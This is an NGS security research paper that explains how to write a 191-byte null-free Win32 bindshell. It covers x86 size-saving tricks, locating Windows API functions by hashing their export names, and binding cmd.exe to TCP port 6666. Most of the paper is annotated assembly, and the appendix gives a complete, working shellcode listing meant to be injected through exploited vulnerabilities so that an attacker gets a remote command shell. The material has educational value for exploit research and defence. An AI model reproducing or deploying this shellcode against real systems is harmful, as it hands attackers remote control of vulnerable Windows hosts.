NGS NISR
Next Generation Security Software Ltd.

Writing Small Shellcode

Abstract
This paper describes an attempt to write Win32 shellcode that is as small as possible, to perform a common task subject to reasonable constraints. The solution presented implements a bindshell in 191 bytes of null-free code, and outlines some general ideas for writing small shellcode.

Author
Dafydd Stuttard, Principal Security Consultant – email: daf[at]ngssoftware[dot]com

Background

This paper describes an attempt to write Win32 shellcode that is as small as possible, to perform a common task subject to reasonable constraints. The solution presented implements a bindshell in 191 bytes of null-free code, and outlines some general ideas for writing small shellcode.

Size is important for shellcode because when exploiting vulnerabilities in compiled software we are often constrained in the amount of data we can work with. Smaller solutions than ours are certainly possible, but at this size the amount of work involved increases exponentially as each additional byte is trimmed from the code.

It is assumed that the reader has some familiarity with x86 assembly language.

Introduction

The task to be performed by our code is as follows:

1. Bind a shell to port 6666.
2. Allow one connection to the shell.
3. Exit cleanly.

It must work on Windows NT4, 2000, XP and 2003, and will be launched using:

```
void main()
{
    unsigned char sc[256] = "";
    strncpy(sc,
        "shellcode goes here",
        256);

    __asm
    {
        lea eax, sc
        push eax
        ret
    }
}
```

Hence, we can observe the following:

- The shellcode cannot contain any null bytes.
- The shellcode must be run from the stack.
- Winsock has not been initialised.
- We may assume that eax points to the start of our code.

Our full solution is in the Appendix to this paper. First, we present some notes on the approach taken and some of the details of the solution.

Ideas for writing small code

First, some useful ideas for constructing shellcode that is as small as possible.

1. Use small instructions.

   x86 instructions are variable length, and sometimes the differences in lengths of similar instructions are fairly arbitrary. Here are some very useful single byte instructions which we will make use of:

xchg eax, reg	swaps the contents of eax and another register
lodsd / lodsb	loads the dword / byte pointed to by esi into eax / al, and increments esi
stosd / stosb	saves the dword / byte in eax / al at the address pointed to by edi, and increments edi
pushad / popad	saves / restores all registers to / from the stack
cdq	extends eax into a quad-word using edx – this can be used to set edx = null if we know that eax < 0x80000000

2. Use instructions with multiple effects.

   Sometimes we can achieve two desirable things at once, for example using the above instructions xchg, lods, or stos.

3. Bend API rules.

   Sometimes a Windows API specifies that a parameter should be of a particular type or in a particular range, however through experimentation we can determine that the actual implementation is more tolerant. For example, many APIs which take a structure and a value for the size of the structure will work perfectly well provided that the size parameter is simply large enough. If we know that an arbitrary large number already exists on the stack, we can exploit the API's tolerance to avoid having to set the parameter explicitly.

   Many APIs accept null values in several parameters, and these are often the parameters at the end of the list which are pushed onto the stack last. Rather than push a null register several times, we can first "flush" a large portion of stack to zero, and then only push the non-null parameters, relying on our empty stack to implicitly pass null values for the rest. When calling several such functions in succession, the reduction in size of our code can be significant.

   We can also use space on the stack when an API requires a large structure as a parameter. Often, we might find that the one-byte "push esp" instruction is all we need to pass a "valid" pointer to a structure. In some cases, APIs will tolerate more than one structure overlapping, particularly when one is an [in] parameter and the other an [out] parameter.

4. Don't think like a programmer.

   As programmers, we get used to the idea of the call stack working in a particular, systematic way, where we push a function's inputs, call the function, maybe adjust the stack pointer, and then store / process the function's output. As shellcoders, we can be more imaginative. To create small code, we can make use of known values in registers to push parameters long before they will actually be used. We can use existing values on the stack as implicit parameters without pushing anything. If we know a suitable value exists up or down the stack, we can just adjust esp to get it in the right place. We can also do away with the idea of a frame pointer relative to which we locate calling parameters or local variables. These useful compiler constructs are often too inefficient for tight shellcode, and in any case the frame pointer register is fantastically useful for storing information across API calls (see below).

5. Make efficient use of registers.

   The x86 registers were not all created equal. Many useful instructions are implemented for specific registers only, or are shorter for some registers than others. Certain registers are always, or very often, preserved across API calls (ebp, esi and edi can be relied upon, and sometimes others in specific cases). It is far more efficient to use these registers to store information, rather than saving it on the stack.

6. Consider using encoding or compression.

   For shellcoding tasks that require more than two or three hundred bytes of code, it may well be worthwhile encoding or compressing the raw shellcode. Encoding allows the raw code to contain null bytes and therefore be potentially more efficient; the null bytes are removed by XORing the raw code against a constant value that does not appear in the code. Compression involves shrinking the raw code into a smaller size. In both cases, the final shellcode begins with a routine to decode or decompress the code that follows. Because of the overhead of implementing a suitable decoder or decompressor, these techniques are usually only worthwhile when the task to be performed by our shellcode is more lengthy to implement than a simple bindshell.

   A related consideration arises when we have an additional constraint on our code – for example, that it must only contain opcodes within the range of alphanumeric ASCII characters. In these situations, the best solution is usually to write raw shellcode which ignores the constraint, encode this in such a way that it satisfies the constraint, and then begin the final shellcode with a routine which carries out the necessary decoding whilst itself also intrinsically satisfying the constraint.

Locating Windows API functions

The task of writing shellcode that runs on multiple versions of Windows can be divided into two broad subtasks:

- Locating the various functions required.
- Using these functions to implement the desired functionality.

The former provides the most scope for different approaches and for shrinking our code, although a number of tricks are also possible in relation to the latter.

The functions required to implement our bindshell are as follows:

ws2_32.dll
- WSAStartup – we need this because Winsock has not been initialised.
- WSASocketA – this creates a socket
- bind – this binds the socket to a local port
- listen – this makes the socket listen for connections
- accept – this accepts an individual connection

kernel32.dll
- LoadLibraryA – we need this to load ws2_32.dll
- CreateProcessA – we use this to create a command shell for use by the client
- ExitProcess – we call this to exit cleanly after the client has connected

In order to locate the required functions, we take the fairly orthodox approach of using hashes of function names, and searching through the export table of the relevant library to find the function whose name hashes to each required value. A key task in implementing this approach, and one which can have a large impact on the size of our code, is selecting an appropriate hash algorithm. We sought to find one which fulfils the following requirements (in order of importance):

1. It avoids collisions within each library for the specific functions we need to locate.
2. It produces the shortest feasible hashes.
3. It requires the smallest possible number of bytes to implement.
4. It produces a block of hashes which is executable as nop-equivalent.
5. It produces a block of hashes which contain opcodes that we actually want to execute in our code.

Requirement 1 can be refined somewhat, to our advantage. We can tolerate hash collisions in the functions we need to locate, provided that we iterate through the exported functions in a defined sequence, and the correct function is the first match against each of our hashes.

In relation to requirement 2, we may assume that 8-bit hashes are the optimal size. Given that kernel32.dll exports over 900 functions, we will be doing well to find a function with only 256 possible hashes which meets requirement 1. And a hash block of items smaller than 8 bits each will involve an overhead to unpack into usable form that far outweighs the reduction in size of the hash block.

In addressing requirement 3, we need to bear in mind that some operations with similar effects have different sizes when implemented in x86 opcodes, for example:

```
    \xd0\xc1                            ; rol cl, 1
    \xc0\xc1\x02                        ; rol cl, 2
    \x66\xc1\xc1\x02                    ; rol cx, 2
```

So a hash function which performs more operations may be preferable if these can be implemented in shorter opcodes.

Regarding requirements 4 and 5, as far as is possible, we want to have our hashes arranged within the block in the same sequence that the corresponding functions will be called. This will enable us to build a block of function addresses and call these in sequence using some nice short instructions.

The rationale for requirement 4 is as follows. If we can find a hash function which fulfils it, then we can place our hash block right at the start of our code. This means that eax will point to the start of our hashes, which is useful given that one of the first tasks our code carries out will require a pointer to the hash block, and also removes the need for an instruction to jump past the hash block. When our code runs, the nop-equivalent instructions will be executed without ill effects before we reach our first actual instruction.

Given the rationale for requirement 4, requirement 5 would be even better. We would save space by effectively “overlapping” our hash block with some instructions that our code needed to perform, thus saving space.

Given the huge variety of potential hash algorithms available, the best way to find a suitable one is programmatically. We wrote a quick tool which dynamically builds different hash algorithms using a list of suitable x86 instructions (xor, add, rol, etc). It then tests each function to find those which produce 8-bit hashes and fulfil conditions 1 and 3, given the specific functions we need to locate. The result was six different candidate algorithms which can be implemented using two operations of two bytes each. These were manually reviewed to determine whether any of them fulfilled conditions 4 and 5, and as luck would have it one of them fulfilled condition 4 (i.e. it provides a nop-equivalent hash block) although sadly on this occasion condition 5 was too much to hope for!

Of course, whilst we require the hashing algorithm to work on all existing NT-based versions of Windows, it is possible that future versions of Windows will break any given hashing algorithm by introducing new exports which match a given hash before the function we need to locate. If this occurs, we will need to look again for a suitable algorithm that works on the new platform.

The hash algorithm selected is implemented as follows, where esi points to the name of the function currently being hashed, and edx is initially null:

```
hash_loop:
    lodsb                               ; load next char into al and increment esi
    xor al, 0x71                        ; XOR current char with 0x71
    sub dl, al                          ; update hash with current char
    cmp al, 0x71                        ; loop until we reach end of string
    jne hash_loop
```

The hash block corresponding to this function is shown below, together with the nop-equivalent instructions it represents:

```
    0x59        ; LoadLibraryA           ; pop ecx
    0x81        ; CreateProcessA         ; or ecx, 0x203062d3
    0xc9        ; ExitProcess
    0xd3        ; WSAStartup
    0x62        ; WSASocketA
    0x30        ; bind
    0x20        ; listen
    0x41        ; accept                 ; inc ecx
```

Note that the property of being “nop-equivalent” is entirely relative to a specific context, where we either do or don’t care about modifying the contents of individual registers, or causing other side-effects. In the present context, nop-equivalence amounts to: preserving the value of eax (since this points to our hash block), not dereferencing any other register (because we can’t assume they point to valid memory), not causing a branch in execution (jmp, retn, etc), and not executing any illegal, privileged or otherwise problematic instruction.

Whilst on the subject of nop-equivalence, let’s also note the following useful representation of the string “cmd”, which we’ll place right after the hash block. We’ll need this somewhere in our code to pass as a parameter to CreateProcessA, to create a command shell. We don’t need to include the “.exe” suffix, and the parameter is handled case-insensitively.

```
    0x43        ; C                      ; inc ebx
    0x4d        ; M                      ; dec ebp
    0x64        ; d                      ; FS:
```

The opcode 0x64 is an instruction prefix telling the processor to interpret the following instruction in the context of the FS memory segment. For most instructions we will want to execute next, the prefix is superfluous and will be ignored by the processor.

(Another useful trick to bear in mind with “cmd” is that a trailing space on the string is acceptable. So, if we know there is already a null at the top of the stack, we can use the five-byte “push 0x20646d63” to get the null-terminated string onto the stack.)

Having devised an optimal hashing algorithm, the next task is to implement some code which uses the algorithm to resolve function hashes to actual addresses. And here we have two broad approaches: we can resolve all required functions at the start of our code, and store the addresses for later use; or we can resolve each function just before it is called. Each approach has its merits depending on the situation, and we opt for the former.

We decide to store function addresses on the stack just “above” our shellcode (i.e. at a lower memory address). Since we are just going to call ExitProcess to exit cleanly from our code, we don’t care about corrupting whatever else happens to be on the stack. We will start writing function addresses 0x18 bytes before our hash block. This means that the last address will precisely overwrite the hash block, and finish just before our “cmd” string. As we will see later, this will leave us with a register nicely pointing to “cmd” which we can use when calling CreateProcessA.

We will use the ultra-efficient instructions lodsb and stosd to load hashes and save addresses, so we set esi and edi to point to the start of our hash block and the start of our address block respectively. We also, while we have eax containing a “small” number (it points to a location on the stack), use the nice 1-byte instruction cdq to set edx to zero, which will be useful shortly.

```
    cdq                                  ; set edx = 0
    xchg eax, esi                        ; esi = addr of first function hash
    lea edi, [esi - 0x18]                ; edi = addr to start writing function
```

The functions we need to locate are exported by two libraries: kernel32.dll and ws2_32.dll. Because the latter is not yet loaded, we need to start with kernel32.dll, which is loaded in every Windows process. We use some fairly standard code to obtain the base address of kernel32.dll by locating the list of initialised libraries in the PEB, and taking the second item in the list, which is always kernel32.dll (see Appendix).

We will loop through our hash resolution code 8 times, once for each function hash. When the kernel32 functions have all been located, we will call LoadLibrary(“ws2_32”) and use the base address of this library for locating the Winsock functions. When we later call WSAStartup, we will also need a big region of stack that we don’t mind corrupting, to use as the WSADATA structure which gets written to. So, whilst we have a handy null value in edx, we use it to efficiently make some space on the stack and push a pointer to the string “ws2_32”.

```
    mov dh, 0x03
    sub esp, edx
    mov dx, 0x3233
    push edx
    push 0x5f327377
    push esp
```

Our function resolution code assumes that ebp holds the base address of the library, that esi points to the next hash to be processed, and that edi points to the next location to write the resolved function address. Having loaded the hash to be resolved, the next task is to find the table of exported functions.

```
find_lib_functions:
    lodsb                               ; load next hash into al

find_functions:
    pushad                              ; preserve registers
    mov eax, [ebp + 0x3c]               ; eax = start of PE header
    mov ecx, [ebp + eax + 0x78]         ; ecx = relative offset of export table
    add ecx, ebp                        ; ecx = absolute addr of export table
    mov ebx, [ecx + 0x20]               ; ebx = relative offset of names table
    add ebx, ebp                        ; ebx = absolute addr of names table
    xor edi, edi                        ; edi will count through the functions
```

We then loop through of all the function names, and calculate the hash of each one using the algorithm described above.

```
next_function_loop:
    inc edi                             ; increment function counter
    mov esi, [ebx + edi * 4]            ; esi = relative offset of current function
                                        ; name
    add esi, ebp                        ; esi = absolute addr of current function
                                        ; name
cdq                                     ; dl will hold hash (we know eax is small)

hash_loop:
    lodsb                               ; load next char into al
    xor al, 0x71                        ; XOR current char with 0x71
    sub dl, al                          ; update hash with current char
    cmp al, 0x71                        ; loop until we reach end of string
    jne hash_loop
```

We compare the computed hash of each function name with the hash to be resolved. This was loaded into eax before we preserved all registers using pushad. Eax has since been modified, so we compare the computed hash with the value of eax saved on the stack at esp + 0x1c.

```
    cmp dl, [esp + 0x1c]                ; compare to the requested hash
    jnz next_function_loop
```

At this point, when we have broken out of next_function_loop, we have found the right function, whose index will be stored in edi, our function counter. The remaining task for the current function is to use this index to look up the function’s address.

```
    mov ebx, [ecx + 0x24]               ; ebx = relative offset of ordinals table
    add ebx, ebp                        ; ebx = absolute addr of ordinals table
    mov di, [ebx + 2 * edi]             ; di = ordinal number of matched function
    mov ebx, [ecx + 0x1c]               ; ebx = relative offset of address table
    add ebx, ebp                        ; ebx = absolute addr of address table
    add ebp, [ebx + 4 * edi]            ; add to ebp (base addr of module) the
                                        ; relative offset of matched function
```

We now have the address of our resolved function in ebp. Where we want it is in the address originally pointed to by edi before we preserved all registers using pushad. We can use stosd to move it there, but first need to obtain the original value of edi. The following is rather inelegant but it works and only uses 4 bytes of code.

```
    xchg eax, ebp                       ; move func addr into eax
    pop edi                             ; edi is last onto stack in pushad
    stosd                               ; write function addr to [edi]
    push edi                            ; restore the stack ready for popad
```

We have now completed the task of resolving the current function hash. We need to restore our saved registers, and continue looping until we have finished all 8 hashes. Recalling that the final function address will precisely overwrite the final function hash, we detect this condition when our two pointers, esi and edi, coincide.

```
    popad
    cmp esi, edi
    jne find_lib_functions
```

This is almost the whole story of how we resolve function addresses. The only unfinished business is to switch from kernel32.dll to ws2_32.dll when we have resolved the first three items in our hash block. To achieve this, we add the following immediately before find_functions.

```
    cmp al, 0xd3                        ; hash of WSAStartup
    jne find_functions
    xchg eax, ebp                       ; save current hash
    call [edi - 0xc]                    ; LoadLibraryA
    xchg eax, ebp                       ; restore current hash, and update ebp with
                                        ; base address of ws2_32.dll
    push edi                            ; save location of addr of first Winsock
                                        ; function
```

Recall that a pointer to the string “ws2_32” is still at the top of the stack, so we can call LoadLibraryA right away. The next task we will perform after resolving our function hashes will be to start calling the Winsock functions, so we save the location of the first Winsock function address on the stack. The above code also demonstrates just how effective the 1-byte instruction “xchg eax, reg” can be in producing tight shellcode.

Implementing a bindshell

Before using any of its functions, we need to initialise Winsock by calling WSAStartup. Recall that we saved the location of the address of this function on the stack whilst resolving function addresses, and the Winsock addresses are saved in the order they need to be called. Hence, we will now place this value into esi, and use lodsd / call eax to call each Winsock function when required.

WSAStartup takes two parameters:

```
    int WSAStartup(
        WORD wVersionRequested,
        LPWSADATA lpWSAData
    );
```

We will use the stack for the WSADATA structure. Because this is an [out] parameter, we don’t need to initialise it – we only need to be sure that we aren’t going to overwrite anything important. We’ve already bought ourselves enough space on the stack to ensure we aren’t going to overwrite our own code.

```
    pop esi                            ; location of first Winsock function
    push esp                           ; lpWSAData
    push 0x02                          ; wVersionRequested
    lodsd
    call eax                           ; WSAStartup
```

WSAStartup returns zero provided it succeeds (and if it didn't then all bets are off for the rest of our code working!). So whilst we have a handy null in eax, we can do a couple of necessary tasks. The "cmd" string in our code will need to be null-terminated before it can be used. Also, some of the remaining Winsock functions take parameters which can be zero. We will flush a big block of stack space to zero, so that we can implicitly pass these parameters without needing to do anything. We will also use our empty stack to create an initialised STARTUPINFO structure when we call CreateProcessA.

```
    mov byte ptr [esi + 0x13], al
    lea ecx, [eax + 0x30]
    mov edi, esp
    rep stosd
```

WSASocket takes six parameters:

```
    SOCKET WSASocket(
        int af,
        int type,
        int protocol,
        LPWSAPROTOCOL_INFO lpProtocolInfo,
        GROUP g,
        DWORD dwFlags
    );
```

We only need to worry about the af and type parameters, for which we will pass 2 (AF_INET) and 1 (SOCK_STREAM) respectively. We will implicitly pass zero as the other parameters, by way of our empty stack. WSASocket returns a socket descriptor that we will need to use in subsequent calls to Winsock functions. We save this in ebp, which can be relied upon not to be modified by any API calls.

```
    inc eax
    push eax                           ; type = 1 (SOCK_STREAM)
    inc eax
    push eax                           ; af = 2 (AF_INET)
    lodsd
    call eax                           ; WSASocketA
    xchg ebp, eax                      ; save SOCKET descriptor in ebp
```

The next step required to make our socket listen for a client connection is to call the Winsock function bind. This takes three parameters:

```
    int bind(
        SOCKET s,
        const struct sockaddr* name,
        int namelen
    );
```

Thinking like a programmer, we might suppose we need to do several things to call bind correctly:

1. Create and initialise a sockaddr structure.
2. Push the length of this structure.
3. Push a pointer to the structure.
4. Push the socket descriptor.

However, if we break the rules slightly, we can be more efficient than this. Firstly, most of the structure required for the name parameter can be zero – we only need to worry about its first two members:

```
    short   sin_family;
    u_short sin_port;
```

Secondly, as mentioned above, the namelen parameter does not actually need to be the precise length of the structure – it simply needs to be large enough. Hence, we can cut some corners. For the two sockaddr members above, we will use the DWORD 0x0a1a0002 (where 0x1a0a is 6666, the port number, and 0x02 is AF_INET, the address family). We will also reuse this DWORD as the length of our structure, as it is easily large enough. We will use the stack for our structure, so that remaining members are implicitly zero by way of our empty stack. Unfortunately, the DWORD we need contains a null, so we need to manufacture it on the fly.

```
    mov eax, 0x0a1aff02
    xor ah, ah                  ; remove the ff
    push eax                    ; "length" of our structure, and its first
                                ; two members
    push esp                    ; pointer to our structure
    push ebp                    ; saved SOCKET descriptor
    lodsd
    call eax                    ; bind
```

The remaining tasks to make our socket accept a client connection are to call listen and accept. The definitions of these functions are as follows:

```
    int listen(
        SOCKET s,
        int backlog
    );

    SOCKET accept(
        SOCKET s,
        struct sockaddr* addr,
        int* addrlen
    );
```

In the case of both functions, the only parameter that is essential is our saved socket descriptor – we can pass zero as each of the other parameters. The accept function will return a new socket descriptor, representing the client connection. Both listen and bind, in contrast, return zero. Realising this, we can perform another trick to save us some code: we can use a loop to push the common socket parameter to each of these three functions, and use the non-zero return value from accept to break out of the loop. This possibility illustrates the real advantage of having our function addresses lined up in the order they need to be called. The following code replaces the last three instructions in the bind call above.

```
call_loop:
    push ebp                            ; saved SOCKET descriptor
    lodsd
    call eax                            ; call the next function
    test eax, eax                       ; bind() and listen() return 0,
                                        ; accept() returns a SOCKET descriptor
    jz call_loop
```

We are almost finished now – we have accepted a client connection and simply need to launch cmd.exe as a child process, telling it to use the client's socket as its std handles, and then exit cleanly.

CreateProcess takes ten parameters, the key ones for us being a STARTUPINFO structure specifying the client socket as its std handles, and our "cmd" string. As previously, most of STARTUPINFO can be zero, so we use our empty stack to build it. We need to set the STARTF_USESTDHANDLES flag to true, and to copy our socket descriptor (which is still contained in eax) to the structure members hStdInput, hStdOutput, and hStdError. (In fact, we could save a single byte of code by creating our shell without stderr, but let's be generous.) Achieving this is easy enough:

```
; initialise a STARTUPINFO structure at esp
    inc byte ptr [esp + 0x2d]           ; set STARTF_USESTDHANDLES to true
    sub edi, 0x6c                       ; point edi at hStdInput in STARTUPINFO
    stosd                               ; set client socket as the stdin handle
    stosd                               ; same for stdout
    stosd                               ; same for stderr (optional)
```

We then simply need to push the relevant parameters and call CreateProcess. This doesn't really require much explanation, save to note some nice shortcuts. Knowing our stack is empty, we use the one-byte instruction "pop eax" to obtain a null register, rather than the two-byte "xor eax, eax". We use the one-byte "push esp" to push a "true" value, rather than the two-byte "push 1". And because the required PROCESSINFORMATION structure is an [out] parameter, and our stack will soon be toast, we use the stack for this as well, overlapped with our STARTUPINFO structure, which is an [in] parameter.

```
    pop eax                             ; set eax = 0 (STARTUPINFO now at esp + 4)
    push esp                            ; use stack as PROCESSINFORMATION
                                        ; structure (STARTUPINFO now back to esp)
    push esp                            ; STARTUPINFO structure
    push eax                            ; lpCurrentDirectory = NULL
    push eax                            ; lpEnvironment = NULL
    push eax                            ; dwCreationFlags = NULL
    push esp                            ; bInheritHandles = true
    push eax                            ; lpThreadAttributes = NULL
    push eax                            ; lpProcessAttributes = NULL
    push esi                            ; lpCommandLine = "cmd"
    push eax                            ; lpApplicationName = NULL
    call [esi - 0x1c]                   ; CreateProcessA
```

Our client now has a working shell, and our only remaining task is for our shellcode to exit cleanly.

```
    call [esi - 0x18]                   ; ExitProcess
```

Appendix – Full solution

```
; start of shellcode
; assume: eax points here


; function hashes (executable as nop-equivalent)
    _emit 0x59                      ; LoadLibraryA       ; pop ecx
    _emit 0x81                      ; CreateProcessA     ; or ecx, 0x203062d3
    _emit 0xc9                      ; ExitProcess
    _emit 0xd3                      ; WSAStartup
    _emit 0x62                      ; WSASocketA
    _emit 0x30                      ; bind
    _emit 0x20                      ; listen
    _emit 0x41                      ; accept             ; inc ecx

; "CMd"
    _emit 0x43                                           ; inc ebx
    _emit 0x4d                                           ; dec ebp
    _emit 0x64                                           ; FS:



; start of proper code
    cdq                             ; set edx = 0 (eax points to stack so is
                                    ; < 0x80000000)
    xchg eax, esi                   ; esi = addr of first function hash
    lea edi, [esi - 0x18]           ; edi = addr to start writing function
                                    ; addresses (last addr will be written just
                                    ; before "cmd")


; find base addr of kernel32.dll
    mov ebx, fs:[edx + 0x30]        ; ebx = address of PEB
    mov ecx, [ebx + 0x0c]           ; ecx = pointer to loader data
    mov ecx, [ecx + 0x1c]           ; ecx = first entry in initialisation order
                                    ; list
    mov ecx, [ecx]                  ; ecx = second entry in list (kernel32.dll)
    mov ebp, [ecx + 0x08]           ; ebp = base address of kernel32.dll


; make some stack space
    mov dh, 0x03                    ; sizeof(WSADATA) is 0x190
    sub esp, edx


; push a pointer to "ws2_32" onto stack
    mov dx, 0x3233                  ; rest of edx is null
    push edx
    push 0x5f327377
    push esp


find_lib_functions:
    lodsb                           ; load next hash into al and increment esi

    cmp al, 0xd3                    ; hash of WSAStartup - trigger
                                    ; LoadLibrary("ws2_32")
    jne find_functions
    xchg eax, ebp                   ; save current hash
    call [edi - 0xc]                ; LoadLibraryA
    xchg eax, ebp                   ; restore current hash, and update ebp
                                    ; with base address of ws2_32.dll
    push edi                        ; save location of addr of first winsock
                                    ; function


find_functions:
    pushad                          ; preserve registers
    mov eax, [ebp + 0x3c]           ; eax = start of PE header
    mov ecx, [ebp + eax + 0x78]     ; ecx = relative offset of export table
    add ecx, ebp                    ; ecx = absolute addr of export table
    mov ebx, [ecx + 0x20]           ; ebx = relative offset of names table
    add ebx, ebp                    ; ebx = absolute addr of names table
    xor edi, edi                       ; edi will count through the functions


next_function_loop:
    inc edi                            ; increment function counter
    mov esi, [ebx + edi * 4]           ; esi = relative offset of current function
                                       ; name
    add esi, ebp                       ; esi = absolute addr of current function
                                       ; name
    cdq                                ; dl will hold hash (we know eax is small)


hash_loop:
    lodsb                              ; load next char into al and increment esi
    xor al, 0x71                       ; XOR current char with 0x71
    sub dl, al                         ; update hash with current char
    cmp al, 0x71                       ; loop until we reach end of string
    jne hash_loop

    cmp dl, [esp + 0x1c]               ; compare to the requested hash (saved on
                                       ; stack from pushad)
    jnz next_function_loop
                                       ; we now have the right function
    mov ebx, [ecx + 0x24]              ; ebx = relative offset of ordinals table
    add ebx, ebp                       ; ebx = absolute addr of ordinals table
    mov di, [ebx + 2 * edi]            ; di = ordinal number of matched function
    mov ebx, [ecx + 0x1c]              ; ebx = relative offset of address table
    add ebx, ebp                       ; ebx = absolute addr of address table
    add ebp, [ebx + 4 * edi]           ; add to ebp (base addr of module) the
                                       ; relative offset of matched function
    xchg eax, ebp                      ; move func addr into eax
    pop edi                            ; edi is last onto stack in pushad
    stosd                              ; write function addr to [edi] and increment
                                       ; edi
    push edi
    popad                              ; restore registers

    cmp esi, edi                       ; loop until we reach end of last hash
    jne find_lib_functions

    pop esi                            ; saved location of first winsock function
                                       ; we will lodsd and call each func in
                                       ; sequence


; initialize winsock
    push esp                           ; use stack for WSADATA
    push 0x02                          ; wVersionRequested
    lodsd
    call eax                           ; WSAStartup


; null-terminate "cmd"
    mov byte ptr [esi + 0x13], al      ; eax = 0 if WSAStartup() worked


; clear some stack to use as NULL parameters
    lea ecx, [eax + 0x30]              ; sizeof(STARTUPINFO) = 0x44,
    mov edi, esp
    rep stosd                          ; eax is still 0


; create socket
    inc eax
    push eax                           ; type = 1 (SOCK_STREAM)
    inc eax
    push eax                           ; af = 2 (AF_INET)
    lodsd
    call eax                           ; WSASocketA
    xchg ebp, eax                      ; save SOCKET descriptor in ebp (safe from
                                       ; being changed by remaining API calls)


; push bind parameters
    mov eax, 0x0a1aff02                ; 0x1a0a = port 6666, 0x02 = AF_INET
    xor ah, ah                         ; remove the ff from eax
    push eax                           ; we use 0x0a1a0002 as both the name (struct
                                        ; sockaddr) and namelen (which only needs to
                                        ; be large enough)
    push esp                            ; pointer to our sockaddr struct


; call bind(), listen() and accept() in turn
call_loop:
    push ebp                            ; saved SOCKET descriptor (we implicitly pass
                                        ; NULL for all other params)
    lodsd
    call eax                            ; call the next function
    test eax, eax                       ; bind() and listen() return 0, accept()
                                        ; returns a SOCKET descriptor
    jz call_loop


; initialise a STARTUPINFO structure at esp
    inc byte ptr [esp + 0x2d]           ; set STARTF_USESTDHANDLES to true
    sub edi, 0x6c                       ; point edi at hStdInput in STARTUPINFO
    stosd                               ; use SOCKET descriptor returned by accept
                                        ; (still in eax) as the stdin handle
    stosd                               ; same for stdout
    stosd                               ; same for stderr (optional)


; create process
    pop eax                             ; set eax = 0 (STARTUPINFO now at esp + 4)
    push esp                            ; use stack as PROCESSINFORMATION structure
                                        ; (STARTUPINFO now back to esp)
    push esp                            ; STARTUPINFO structure
    push eax                            ; lpCurrentDirectory = NULL
    push eax                            ; lpEnvironment = NULL
    push eax                            ; dwCreationFlags = NULL
    push esp                            ; bInheritHandles = true
    push eax                            ; lpThreadAttributes = NULL
    push eax                            ; lpProcessAttributes = NULL
    push esi                            ; lpCommandLine = "cmd"
    push eax                            ; lpApplicationName = NULL
    call [esi - 0x1c]                   ; CreateProcessA


; call ExitProcess()
    call [esi - 0x18]                   ; ExitProcess
```